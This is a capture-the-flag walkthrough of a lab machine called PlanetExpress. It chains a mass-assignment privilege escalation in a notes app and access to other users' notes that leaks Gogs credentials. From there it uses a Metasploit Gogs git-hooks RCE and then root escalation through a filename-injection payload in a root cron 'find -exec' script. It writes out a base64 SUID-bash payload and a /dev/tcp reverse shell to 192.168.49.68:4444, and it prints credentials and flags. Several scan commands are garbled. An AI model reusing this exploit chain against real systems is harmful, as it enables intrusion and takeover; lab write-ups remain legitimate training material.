Assignment

PlanetExpress Walkthrough

Attacker's Machine:
Victim's Machine:
export IP=192.168.232.224

1. `1000 $IP =5s`
2. `22,80,8000 $IP=5s results.txt`

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http
|_http-title: notes.pg
8000/tcp open http-alt
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Gogs

3. `$IP =100 =5s 1000` `<!-- nothing -->`

Vulnerability Assessment

Port 80

```
$IP80 vuln=5s
http-enum:
|   /login.stm: Belkin G Wireless Router
|   /login.php: Possible admin folder
|   /login.html: Possible admin folder
|   /login.cfm: Possible admin folder
|   /login.asp: Possible admin folder
|   /login.aspx: Possible admin folder
|   /login.jsp: Possible admin folder
|   /login/: Login page
|   /login.htm: Login page
|   /login.jsp: Login page
|   /robots.txt: Robots file
|_  /register/: Potentially interesting folder
```

`$IP`

ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u http://$IP/FUZZ -t 500
create
favicon.ico
dashboard
login
logout
register

robots.txt
users

Port 8000 Enumeration (Gogs)

```
$IP80 vuln=5s
```

http-enum:
| /healthcheck/: Spring Boot Actuator endpoint
|_ /debug/: Potentially interesting folder

Possible username: Jane

nikto --url $IP

```
 gogs
```

Gogs - 'label' SQL Injection | multiple/webapps/35237.txt
Gogs - 'users'/'repos' '?q' SQL Injection | multiple/webapps/35238.txt

Metasploit

search gogs
0 exploit/multi/http/gitea_git_hooks_rce 2020-10-07 excellent Yes Gitea Git Hooks Remote Code Execution
1 exploit/multi/http/gogs_git_hooks_rce 2020-10-07 excellent Yes Gogs Git Hooks Remote Code Execution

No API here, and both parameters do not seems to be vulnerable. //Most likely a dead end ??

Back to port 80:

Create a new account using the register function: test / test

having a look at the members section, you see the following users:

jane
tom
jim
judie
james
bob
simon
deezy
authenticity_token=oPR93X4UzlLdlPeg_Aek9v3XDDJLLoL3hXS8pHLwzOPz8ER61j8nzjESjr4Tsq-_VGRhZBVCZ9TSr9VZqIe5YQ&user[username]=forged_owner&user[role]=owner&user[password]=forged_owner&user[password_confirmation]=forged_owner&button=
deezy
forged_owner

Once in the application, you can create new notes, but when you create a new note the count starts at 5. So let's try to access others people notes maybe we find something good.

http://192.168.232.224/notes/5

MVC frameworks allow developers to automatically bind request parameters into attributes of objects to ease the development. This can sometimes cause harm if the input of the user is not validated properly. In this case we see a third attribute of a user called role that we can escalate access by setting role to owner.

Create a new user and use the following payload instead of the original one.

authenticity_token=oPR93X4UzlLdlPeg_Aek9v3XDDJLLoL3hXS8pHLwzOPz8ER61j8nzjESjr4Tsq-_VGRhZBVCZ9TSr9VZqIe5YQ&user%5username%5D=forged_owner&user%5role%5D=owner&user%5password%5D=forged_owner&user%5password_confirmation%5D=forged_owner&button=

You might need to encode the brackets []. Check the original request and see if it encodes it!

Now you can login with the credentials: forged_owner / forged_owner

Read the notes of the other users:

http://192.168.232.224/notes/1

my creds for gogs: jane:svc-dev2022@@@!;P;4SSw0Rd

Login with the credentials into the Gogs repository

Remember the exploits within Metasploit that required credentials? Let's use them

```
msfconsole -q
search gogs
   0  exploit/multi/http/gitea_git_hooks_rce  2020-10-07      excellent  Yes    Gitea Git Hooks Remote Code Execution
   1  exploit/multi/http/gogs_git_hooks_rce   2020-10-07      excellent  Yes    Gogs Git Hooks Remote Code Execution

1
 svc-dev2022@@@!;P;4SSw0Rd
jane
 192.168.45.5
192.168.232.224
 8000
```

Got shell!

```
cd /home/jane
cat local.txt                       // 6b191a5877331e5b50d309e214d776c4
```

Privilege Escalation

run pspy64

Notice that root run the following script   /bin/sh -c /bin/bash /usr/bin/clean-tmp.sh

```
 /usr/bin/clean-tmp.sh
#! /bin/bash
find /dev/shm -type f -exec sh -c 'rm {}' \;
```

-type f -- files
-exec -- execute
-c -- command
 -- process the file name (here is where we go for our payload)

```
-exec command ;
              Execute command; true if 0 status is returned.  All following arguments to find
are taken to be arguments to the command until an argument consisting of `;' is encountered.
              , not just in arguments where it is alone, as in
              some versions of find.  Both of these constructions might need to be escaped
(with a `\') or quoted to protect them from expansion by the shell.  See the  EXAMPLES
section
              for  examples  of  the use of the -exec option.  The specified command is run
once for each matched file.  The command is executed in the starting directory.  There are
un-
              avoidable security problems surrounding use of the -exec action; you should use
the -execdir option instead.

 /dev/shm

 /dev/shm/'$(echo -n Y2htb2QgdStzIC9iaW4vYmFzaA==|base64 -d|bash)'      // chmod u+s /bin/bash
bash -p
```

cat proof.txt   // 24f131aa731a41374729e155da0cc43b

```
function test()
{
echo Hi
}
```

touch /dev/shm/'$(echo -n L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNDkuNjgvNDQ0NCAwPiYx|base64 -
d|bash)'   // /bin/bash -i >& /dev/tcp/192.168.49.68/4444 0>&1
touch '$(echo -n L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNDkuNjgvNDQ0NCAwPiYx|base64 -d|bash)'

You basically need to create a file name that will contain your payload in single quotes preferably. Double quotes aren't working. You need to specify bash so that the content within echo will be run as a bash command.

touch `$(echo '/bin/bash -i >& /dev/tcp/192.168.49.68/4444 0>&1'|base64 -d|bash)'   // You can't do it because it will try to find a file or directory, you are forced to encode it first.